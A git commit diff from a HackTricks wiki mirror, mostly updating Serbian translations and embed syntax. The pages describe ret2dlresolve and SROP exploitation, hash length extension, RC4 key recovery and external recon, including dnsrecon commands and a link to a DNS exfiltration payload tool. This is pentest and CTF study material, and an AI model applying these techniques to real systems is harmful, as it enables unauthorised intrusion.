mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente
This commit is contained in:
parent
3355766553
commit
191df0908c
@ -69,6 +69,12 @@ def ref(matchobj):
|
||||
return result
|
||||
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
|
||||
return new_content
|
||||
|
||||
|
||||
def iterate_chapters(sections):
|
||||
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
|
||||
return
|
||||
@ -99,6 +105,7 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
content = json.dumps(book)
|
||||
|
@ -1,13 +1,10 @@
|
||||
# HackTricks
|
||||
|
||||
Reading time: {{ #reading_time }}
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logotipi i animacija dizajnirani od_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
> [!TIP]
|
||||
> **Dobrodošli u wiki gde ćete pronaći svaku hakersku trik/tehniku/šta god da sam naučio iz CTF-ova, aplikacija iz stvarnog života, čitajući istraživanja i vesti.**
|
||||
> [!TIP] > **Dobrodošli u wiki gde ćete pronaći svaku hakersku trik/tehniku/šta god da sam naučio iz CTF-ova, aplikacija iz stvarnog života, čitajući istraživanja i vesti.**
|
||||
|
||||
Da biste započeli, pratite ovu stranicu gde ćete pronaći **tipičan tok** koji **treba da pratite kada radite pentesting** na jednoj ili više **mašina:**
|
||||
|
||||
@ -35,7 +32,9 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -43,11 +42,13 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
|
||||
|
||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** je **Evropa #1** etička platforma za hakovanje i **bug bounty.**
|
||||
**Intigriti** je **broj 1** etička platforma za hakovanje i **bug bounty.**
|
||||
|
||||
**Bug bounty savet**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -60,7 +61,9 @@ Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium
|
||||
|
||||
Pribavite pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -72,7 +75,7 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
|
||||
|
||||
- **Hakerski uvidi:** Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
|
||||
- **Vesti o hakovanju u realnom vremenu:** Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
- **Najnovija obaveštenja:** Budite informisani o najnovijim nagradama za bugove i važnim ažuriranjima platforme
|
||||
- **Najnovija obaveštenja:** Budite informisani o najnovijim bug bounty nagradama i važnim ažuriranjima platforme
|
||||
|
||||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
||||
@ -82,11 +85,13 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
|
||||
|
||||
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
|
||||
**Dobijte perspektivu hakera na vaše web aplikacije, mrežu i oblak**
|
||||
|
||||
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
|
||||
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje bitnih dokaza, pretvarajući vaš trud u uverljive izveštaje.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -96,8 +101,8 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
|
||||
|
||||
**SerpApi** nudi brze i lake API-je u realnom vremenu za **pristup rezultatima pretraživača**. Oni sakupljaju podatke sa pretraživača, upravljaju proxy-ima, rešavaju captcha izazove i analiziraju sve bogate strukturirane podatke za vas.
|
||||
|
||||
Pretplata na jedan od planova SerpApi uključuje pristup više od 50 različitih API-ja za sakupljanje podataka sa različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
|
||||
Za razliku od drugih provajdera, **SerpApi ne sakuplja samo organske rezultate**. Odgovori SerpApi dosledno uključuju sve oglase, inline slike i video zapise, znanje grafove i druge elemente i funkcije prisutne u rezultatima pretrage.
|
||||
Pretplata na jedan od SerpApi planova uključuje pristup više od 50 različitih API-ja za sakupljanje podataka sa različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
|
||||
Za razliku od drugih provajdera, **SerpApi ne sakuplja samo organske rezultate**. SerpApi odgovori dosledno uključuju sve oglase, inline slike i video zapise, znanje grafove i druge elemente i funkcije prisutne u rezultatima pretrage.
|
||||
|
||||
Trenutni klijenti SerpApi uključuju **Apple, Shopify i GrubHub**.\
|
||||
Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground**](https://serpapi.com/playground)**.**\
|
||||
@ -111,7 +116,9 @@ Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign_
|
||||
|
||||
Naučite tehnologije i veštine potrebne za izvođenje istraživanja ranjivosti, penetracionog testiranja i obrnute inženjeringa kako biste zaštitili mobilne aplikacije i uređaje. **Savladajte iOS i Android bezbednost** kroz naše kurseve na zahtev i **dobijte sertifikat**:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -119,15 +126,17 @@ Naučite tehnologije i veštine potrebne za izvođenje istraživanja ranjivosti,
|
||||
|
||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštiti** preduzeća **široko u svetu** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
|
||||
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštiti** preduzeća **široko po svetu** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
|
||||
|
||||
WebSec je **sve-u-jednom bezbednosna kompanija** što znači da rade sve; Pentesting, **Bezbednosne** revizije, Obuke o svesti, Phishing kampanje, Revizije koda, Razvoj eksploata, Outsourcing bezbednosnih stručnjaka i još mnogo toga.
|
||||
|
||||
Još jedna zanimljiva stvar o WebSec-u je da, za razliku od industrijskog proseka, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, kako stoji na njihovoj veb stranici "**Ako ne možemo da hakujemo, ne plaćate!**". Za više informacija pogledajte njihovu [**vеб страницу**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
||||
Još jedna zanimljiva stvar o WebSec-u je da, za razliku od industrijskog proseka, WebSec je **veoma samouveren u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, kako stoji na njihovom sajtu "**Ako ne možemo da hakujemo, ne plaćate!**". Za više informacija pogledajte njihov [**sajt**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Pored navedenog, WebSec je takođe **posvećen podržavalac HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
{{#endref}}
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
|
@ -10,14 +10,16 @@ Funkcija **`_dl_runtime_resolve`** uzima sa steka reference na neke strukture ko
|
||||
|
||||
Stoga, moguće je **falsifikovati sve te strukture** kako bi dinamički povezano rešavanje traženog simbola (kao što je funkcija **`system`**) i pozvati je sa konfigurisanom parametrima (npr. **`system('/bin/sh')`**).
|
||||
|
||||
Obično, sve te strukture se falsifikuju pravljenjem **inicijalnog ROP lanca koji poziva `read`** preko zapisive memorije, zatim se **strukture** i string **`'/bin/sh'`** prosleđuju tako da ih `read` sačuva na poznatoj lokaciji, a zatim ROP lanac nastavlja pozivajući **`_dl_runtime_resolve`**, imajući da **reši adresu `system`** u falsifikovanim strukturama i **poziva ovu adresu** sa adresom do `$'/bin/sh'`.
|
||||
Obično, sve te strukture se falsifikuju pravljenjem **inicijalnog ROP lanca koji poziva `read`** preko zapisive memorije, zatim se **strukture** i string **`'/bin/sh'`** prosleđuju tako da ih `read` sačuva na poznatoj lokaciji, a zatim ROP lanac nastavlja pozivajući **`_dl_runtime_resolve`**, imajući ga da **reši adresu `system`** u falsifikovanim strukturama i **poziva ovu adresu** sa adresom do `$'/bin/sh'`.
|
||||
|
||||
> [!TIP]
|
||||
> Ova tehnika je posebno korisna ako ne postoje syscall gadgeti (da se koriste tehnike kao što su [**ret2syscall**](rop-syscall-execv/) ili [SROP](srop-sigreturn-oriented-programming/)) i nema načina da se procure libc adrese.
|
||||
|
||||
Pogledajte ovaj video za lepo objašnjenje o ovoj tehnici u drugoj polovini videa:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
Ili pogledajte ove stranice za objašnjenje korak po korak:
|
||||
|
||||
@ -30,7 +32,7 @@ Ili pogledajte ove stranice za objašnjenje korak po korak:
|
||||
2. Postaviti prvi argument funkcije system (`$rdi = &'/bin/sh'`)
|
||||
3. Postaviti na stek adrese do struktura da pozove **`_dl_runtime_resolve`**
|
||||
4. **Pozvati** `_dl_runtime_resolve`
|
||||
5. **`system`** će biti rešen i pozvan sa `'/bin/sh'` kao argumentom
|
||||
5. **`system`** će biti rešena i pozvana sa `'/bin/sh'` kao argumentom
|
||||
|
||||
Iz [**pwntools dokumentacije**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), ovako izgleda **`ret2dlresolve`** napad:
|
||||
```python
|
||||
@ -186,6 +188,6 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||
- 32bit, bez relro, bez kanarinca, nx, bez pie, osnovni mali buffer overflow i povratak. Da bi se iskoristilo, bof se koristi da ponovo pozove `read` sa `.bss` sekcijom i većom veličinom, da bi se u nju smeštale `dlresolve` lažne tabele za učitavanje `system`, vraćanje na main i ponovna zloupotreba inicijalnog bof-a da pozove dlresolve i zatim `system('/bin/sh')`.
|
||||
- 32bit, bez relro, bez kanarija, nx, bez pie, osnovni mali buffer overflow i povratak. Da bi se iskoristilo, bof se koristi da ponovo pozove `read` sa `.bss` sekcijom i većom veličinom, da bi se u nju smeštale `dlresolve` lažne tabele za učitavanje `system`, vraćanje na main i ponovna zloupotreba inicijalnog bof-a da pozove dlresolve i zatim `system('/bin/sh')`.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -57,11 +57,13 @@ Ako vas zanima, ovo je **sigcontext struktura** koja se čuva na steku da bi se
|
||||
```
|
||||
Za bolje objašnjenje pogledajte takođe:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Primer
|
||||
|
||||
Možete [**pronaći primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) gde se poziv na signeturn konstruira putem ROP (stavljajući u rxa vrednost `0xf`), iako je ovo konačni exploit odatle:
|
||||
Možete [**pronaći primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) gde je poziv na signeturn konstruisan putem ROP (stavljajući u rxa vrednost `0xf`), iako je ovo konačni exploit odatle:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -130,10 +132,10 @@ target.interactive()
|
||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
||||
- Assembly binarni program koji omogućava **pisanje na stek** i zatim poziva **`sigreturn`** syscall. Moguće je napisati na stek [**ret2syscall**](../rop-syscall-execv/) putem **sigreturn** strukture (binarni program sadrži string `/bin/sh`).
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 bita, bez relro, bez kanarija, nx, bez pie. Jednostavna buffer overflow napada koristeći `gets` funkciju sa nedostatkom gadgeta koji izvršava [**ret2syscall**](../rop-syscall-execv/). ROP lanac piše `/bin/sh` u `.bss` ponovnim pozivanjem gets, zloupotrebljava **`alarm`** funkciju da postavi eax na `0xf` kako bi pozvao **SROP** i izvršio shell.
|
||||
- 64 bita, bez relro, bez kanarinca, nx, bez pie. Jednostavna buffer overflow napada koristeći `gets` funkciju sa nedostatkom gadgeta koji izvršava [**ret2syscall**](../rop-syscall-execv/). ROP lanac piše `/bin/sh` u `.bss` ponovnim pozivanjem gets, zloupotrebljava **`alarm`** funkciju da postavi eax na `0xf` kako bi pozvao **SROP** i izvršio shell.
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- 64 bita assembly program, bez relro, bez kanarija, nx, bez pie. Tok omogućava pisanje na stek, kontrolu nekoliko registara, i pozivanje syscall-a, a zatim poziva `exit`. Izabrani syscall je `sigreturn` koji će postaviti registre i premestiti `eip` da pozove prethodnu syscall instrukciju i izvrši `memprotect` da postavi binarni prostor na `rwx` i postavi ESP u binarnom prostoru. Prateći tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju, tako da će prosleđivanje shellcode-a napisati kao sledeću instrukciju i izvršiti je.
|
||||
- 64 bita assembly program, bez relro, bez kanarinca, nx, bez pie. Tok omogućava pisanje na stek, kontrolu nekoliko registara, i pozivanje syscall-a, a zatim poziva `exit`. Izabrani syscall je `sigreturn` koji će postaviti registre i pomeriti `eip` da pozove prethodnu syscall instrukciju i izvrši `memprotect` da postavi binarni prostor na `rwx` i postavi ESP u binarnom prostoru. Prateći tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju, tako da će prosleđivanje shellcode-a napisati kao sledeću instrukciju i izvršiti je.
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP se koristi za davanje privilegija izvršenja (memprotect) mestu gde je shellcode postavljen.
|
||||
- SROP se koristi za davanje privilegija izvršavanja (memprotect) mestu gde je shellcode postavljen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -4,13 +4,15 @@
|
||||
|
||||
- **Jednostavna lista:** Samo lista koja sadrži jedan unos u svakoj liniji
|
||||
- **Runtime fajl:** Lista koja se čita u runtime-u (nije učitana u memoriju). Za podršku velikim listama.
|
||||
- **Izmena slučaja:** Primeni neke promene na listu stringova (Bez promene, na mala slova, na VELIKA slova, na pravilno ime - Prvo veliko slovo i ostalo na mala slova, na Pravilno ime - Prvo veliko slovo, a ostalo ostaje isto).
|
||||
- **Izmena slučaja:** Primeni neke promene na listu stringova (Bez promene, na mala slova, na VELIKA slova, na pravilno ime - Prvo veliko slovo, a ostalo na mala slova-, na Pravilno ime - Prvo veliko slovo, a ostalo ostaje isto-).
|
||||
- **Brojevi:** Generiši brojeve od X do Y koristeći Z korak ili nasumično.
|
||||
- **Brute Forcer:** Skup karaktera, minimalna i maksimalna dužina.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload za izvršavanje komandi i preuzimanje izlaza putem DNS zahteva ka burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
|
||||
|
||||
Proverite tu viki da biste pronašli više esoteričnih jezika
|
||||
Proverite tu wiki da biste pronašli više esoteričnih jezika
|
||||
|
||||
## Malbolge
|
||||
```
|
||||
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
@ -4,20 +4,20 @@
|
||||
|
||||
## Sažetak napada
|
||||
|
||||
Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajnu** nekim poznatim čistim tekstualnim podacima i zatim hešira te podatke. Ako znate:
|
||||
Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajnu** na neke poznate podatke u čistom tekstu i zatim hešira te podatke. Ako znate:
|
||||
|
||||
- **Dužinu tajne** (to se može takođe bruteforcovati iz datog opsega dužine)
|
||||
- **Čiste tekstualne podatke**
|
||||
- **Algoritam (i da je podložan ovom napadu)**
|
||||
- **Dužinu tajne** (to se može takođe bruteforce-ovati iz datog opsega dužine)
|
||||
- **Podatke u čistom tekstu**
|
||||
- **Algoritam (i da je ranjiv na ovaj napad)**
|
||||
- **Padding je poznat**
|
||||
- Obično se koristi podrazumevani, tako da ako su ispunjena druga 3 zahteva, ovo takođe važi
|
||||
- Obično se koristi podrazumevani, tako da ako su ispunjena druga 3 zahteva, ovo takođe jeste
|
||||
- Padding varira u zavisnosti od dužine tajne + podataka, zato je dužina tajne potrebna
|
||||
|
||||
Tada je moguće da **napadač** **doda** **podatke** i **generiše** važeći **potpis** za **prethodne podatke + dodate podatke**.
|
||||
|
||||
### Kako?
|
||||
|
||||
U suštini, ranjivi algoritmi generišu heš tako što prvo **heširaju blok podataka**, a zatim, **iz** **prethodno** kreiranog **heša** (stanja), **dodaju sledeći blok podataka** i **heširaju ga**.
|
||||
U suštini, ranjivi algoritmi generišu heševe tako što prvo **heširaju blok podataka**, a zatim, **iz** **prethodno** kreiranog **heša** (stanja), **dodaju sledeći blok podataka** i **heširaju ga**.
|
||||
|
||||
Zamislite da je tajna "secret" a podaci su "data", MD5 od "secretdata" je 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Ako napadač želi da doda string "append" može:
|
||||
@ -29,7 +29,9 @@ Ako napadač želi da doda string "append" može:
|
||||
|
||||
### **Alat**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
### Reference
|
||||
|
||||
|
@ -1,11 +1,15 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Ako možete na neki način enkriptovati običan tekst koristeći RC4, možete dekriptovati bilo koji sadržaj enkriptovan tim RC4 (koristeći istu lozinku) samo koristeći funkciju enkripcije.
|
||||
Ako na neki način možete enkriptovati običan tekst koristeći RC4, možete dekriptovati bilo koji sadržaj enkriptovan tim RC4 (koristeći istu lozinku) samo koristeći funkciju enkripcije.
|
||||
|
||||
Ako možete enkriptovati poznati običan tekst, možete takođe izvući lozinku. Više referenci možete pronaći na HTB Kryptos mašini:
|
||||
Ako možete enkriptovati poznati običan tekst, takođe možete izvući lozinku. Više referenci možete pronaći na HTB Kryptos mašini:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -8,8 +8,8 @@ Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajn
|
||||
- **Čiste tekstualne podatke**
|
||||
- **Algoritam (i da je ranjiv na ovaj napad)**
|
||||
- **Padding je poznat**
|
||||
- Obično se koristi podrazumevani, tako da ako su ispunjena druga 3 zahteva, ovo takođe važi
|
||||
- Padding varira u zavisnosti od dužine tajne + podataka, zato je potrebna dužina tajne
|
||||
- Obično se koristi podrazumevani, tako da ako su ispunjena ostala 3 zahteva, ovo takođe važi
|
||||
- Padding varira u zavisnosti od dužine tajne + podataka, zato je dužina tajne potrebna
|
||||
|
||||
Tada je moguće da **napadač** **doda** **podatke** i **generiše** važeći **potpis** za **prethodne podatke + dodate podatke**.
|
||||
|
||||
@ -27,7 +27,9 @@ Ako napadač želi da doda string "append" može:
|
||||
|
||||
## **Alat**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -1,11 +1,15 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Ako možete na neki način enkriptovati običan tekst koristeći RC4, možete dekriptovati bilo koji sadržaj enkriptovan tim RC4 (koristeći istu lozinku) samo koristeći funkciju enkripcije.
|
||||
Ako na neki način možete enkriptovati običan tekst koristeći RC4, možete dekriptovati bilo koji sadržaj enkriptovan tim RC4 (koristeći istu lozinku) samo koristeći funkciju enkripcije.
|
||||
|
||||
Ako možete enkriptovati poznati običan tekst, takođe možete izvući lozinku. Više referenci možete pronaći na HTB Kryptos mašini:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,16 +1,15 @@
|
||||
# Metodologija spoljnog rekonaissansa
|
||||
# Metodologija spoljnog rekona
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Otkrića imovine
|
||||
|
||||
> Tako su vam rekli da je sve što pripada nekoj kompaniji unutar opsega, i želite da saznate šta ta kompanija zapravo poseduje.
|
||||
|
||||
Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i zatim sve **imovine** tih kompanija. Da bismo to postigli, uradićemo sledeće:
|
||||
|
||||
1. Pronaći akvizicije glavne kompanije, što će nam dati kompanije unutar opsega.
|
||||
2. Pronaći ASN (ako postoji) svake kompanije, što će nam dati IP opsege koje poseduje svaka kompanija.
|
||||
1. Pronaći akvizicije glavne kompanije, to će nam dati kompanije unutar opsega.
|
||||
2. Pronaći ASN (ako postoji) svake kompanije, to će nam dati IP opsege koje poseduje svaka kompanija.
|
||||
3. Koristiti obrnute whois pretrage da tražimo druge unose (imena organizacija, domene...) povezane sa prvim (ovo se može raditi rekurzivno).
|
||||
4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druge imovine (trik sa `ssl` se može raditi rekurzivno).
|
||||
|
||||
@ -67,11 +66,11 @@ Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/#discov
|
||||
|
||||
_Molimo vas, imajte na umu da u sledećim predloženim tehnikama možete takođe pronaći poddomene i da te informacije ne bi trebale biti potcenjene._
|
||||
|
||||
Prvo, trebali biste potražiti **glavnu domenu**(e) svake kompanije. Na primer, za _Tesla Inc._ to će biti _tesla.com_.
|
||||
Prvo što treba da uradite je da potražite **glavnu domenu**(e) svake kompanije. Na primer, za _Tesla Inc._ to će biti _tesla.com_.
|
||||
|
||||
### **Obrnuti DNS**
|
||||
|
||||
Pošto ste pronašli sve IP opsege domena, mogli biste pokušati da izvršite **obrnute dns pretrage** na tim **IP-ovima kako biste pronašli više domena unutar opsega**. Pokušajte da koristite neki DNS server žrtve ili neki poznati DNS server (1.1.1.1, 8.8.8.8)
|
||||
Pošto ste pronašli sve IP opsege domena, možete pokušati da izvršite **obrnute dns upite** na tim **IP-ovima da pronađete više domena unutar opsega**. Pokušajte da koristite neki DNS server žrtve ili neki poznati DNS server (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
@ -170,9 +169,9 @@ Očigledno je uobičajeno da ljudi dodeljuju poddomene IP-ovima koji pripadaju p
|
||||
|
||||
**Shodan**
|
||||
|
||||
Kao što već znate ime organizacije koja poseduje IP prostor. Možete pretraživati po tim podacima u Shodanu koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu.
|
||||
Kao što već znate ime organizacije koja poseduje IP prostor. Možete pretraživati po tim podacima u shodanu koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu.
|
||||
|
||||
Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organizacije** i zatim pretraživati to ime unutar **TLS sertifikata** svih veb stranica poznatih u **Shodanu** sa filtrima: `ssl:"Tesla Motors"` ili koristiti alat kao što je [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organizacije** i zatim pretraživati to ime unutar **TLS sertifikata** svih veb stranica poznatih po **shodanu** sa filtrima: `ssl:"Tesla Motors"` ili koristiti alat kao što je [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
@ -183,9 +182,7 @@ Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organiz
|
||||
Proverite za neki [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neku domenu** ali su **izgubili vlasništvo**. Samo je registrujte (ako je dovoljno jeftina) i obavestite kompaniju.
|
||||
|
||||
